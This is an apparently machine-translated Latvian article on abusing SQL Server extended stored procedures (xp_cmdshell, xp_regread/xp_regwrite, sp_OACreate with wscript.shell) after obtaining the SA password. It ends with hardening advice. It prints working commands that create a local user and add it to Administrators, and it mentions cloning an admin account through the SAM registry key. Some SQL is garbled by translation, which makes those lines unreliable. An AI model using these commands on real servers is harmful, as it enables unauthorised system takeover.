Saglabātās procedūras ir iepriekš uzrakstītu SQL paziņojumu kolekcija, kas tiek glabāta SQLServer, starp kuriem ir visbīstamākās paplašinātās saglabātās procedūras xp_cmdshell, kas var izpildīt jebkuras operētājsistēmas instrukcijas, un SA ir Microsoft SQLServer administratora konts ar visaugstākajām privilēģijām, tas var izpildīt paplašinātas saglabātās procedūras un iegūt atgrieztās vērtības, piemēram, izpildi:
izpildmeistars .. xp_cmdshell "neto lietotāja tests 1234 /add" un izpildmeistars: xp_cmdshell "neto vietējo grupu administratoru pārbaude / pievienošana"
Tādā veidā otras puses sistēmai tiek pievienots lietotāja nosaukums test, parole 1234 un administratora tiesības, kā parādīts 1. attēlā.
Tagad jums vajadzētu saprast, kāpēc jūs saņemat SA paroli un saņemat visaugstākās sistēmas privilēģijas. Bieži vien daudzi tīkla administratori nezina šo situāciju, un viņiem ir dažas vienkāršas paroles, piemēram, 1234 un 4321 saviem SA lietotājiem, vai pat vispār neuzstāda paroles, lai tīkla iebrucēji varētu viegli skenēt SA paroli ar dažiem hakeru rīkiem un pēc tam kontrolēt datoru.
Papildus xp_cmdshell ir arī saglabātas procedūras, kuras var izmantot iebrucēji:
1. xp_regread (šī paplašinātā saglabātā procedūra var nolasīt reģistrā norādītajā atslēgā norādīto vērtību), kā to izmantot (iegūstiet mašīnas nosaukumu):
DEKLARĒT@testvarchar(50) EXEC meistars.. xp_regread @rootkey='HKEY_LOCAL_MACHINE', @key='system\controlset001\control\computername\computername', @value_name='computername', @value=@test OUTPUT SELECT @test
2. xp_regwrite (šī paplašinātā saglabātā procedūra var rakstīt reģistrā norādītajā atslēgā norādīto vērtību) un kā to izmantot (rakstiet bbb atslēgā HKEY_LOCAL_MACHINE\SOFTWARE\aaa\aaaValue):
EXEC meistars .. xp_regwrite @rootkey='HKEY_LOCAL_MACHINE', @key='PROGRAMMATŪRA\aaa', @value_name='aaaValue', @type='REG_SZ', @value='bbb'
Ja apdraudētā datora administratora lietotājs var pārlūkot reģistrā esošo informāciju HKEY_LOCAL_MACHINE\SAM\SAM\, tad divas saglabātās procedūras xp_regread un xp_regwrite var izmantot, lai klonētu administratora lietotāju un iegūtu administratora tiesības. xp_regdeletekey. xp_regdeletevalue radīs arī drošības riskus sistēmai. 3. Virkne ar OLE saistītu glabāšanas procedūru, šī glabāšanas procedūru sērija ir sp_OACreate, sp_OADestroy, sp_OAGetErrorInfo, sp_OAGetProperty, sp_OAMethod, sp_OASetProperty, sp_OAStop, izmantošana:
DECLARE @shell INT EXEC SP_OACREATE 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'c:\WINNT\system32\cmd.exe /c net user test 1234 /add'--
Tādā veidā otra sistēma pievieno lietotāju ar nosaukumu test un lietotāju ar paroli 1234 un pēc tam izpilda:
DECLARE @shell INT EXEC SP_OACREATE 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'c:\WINNT\system32\cmd.exe /c net localgroup administrators test /add '--
Lietotāju tests, pievienots grupai Administratori. Risinājums: Piešķiriet SA paroli, kas ir pietiekami sarežģīta, lai apgrūtinātu kiberuzbrucēju uzlaušanu. Drošības labad mums ir jāizmanto arī saglabātās procedūras SQLS sp_addextendedproc sp_dropextendedproc ervera vaicājumu analizators, sp_dropextendedproc izdzēstu saglabātās procedūras, piemēram, xp_cmdshell, un pēc tam vajadzības gadījumā izmantotu sp_addextendedproc atkopšanu. Jāatzīmē, ka saglabāto procedūru dzēšana, kas saistīta ar OLE, var izraisīt dažu Enterprise Manager funkciju nelietojamību, un autors neiesaka tās izdzēst šeit.
Tagad, kad mēs zinām, kā SP_OACREATE izmantot, mēs varam doties uz \WINNT \system32, lai atrastu cmd.exe, net.exe un net1.exe trīs failus un izdzēst visus lietotājus, kuri tiem var piekļūt sadaļā "Rekvizīti" - "Drošība", lai mēs nevarētu izmantot SP_OACREATE, lai palielinātu sistēmas lietotāju skaitu, un mēs varam pievienot piekļuves lietotājus, kad mums ir nepieciešams piekļūt šiem failiem.
|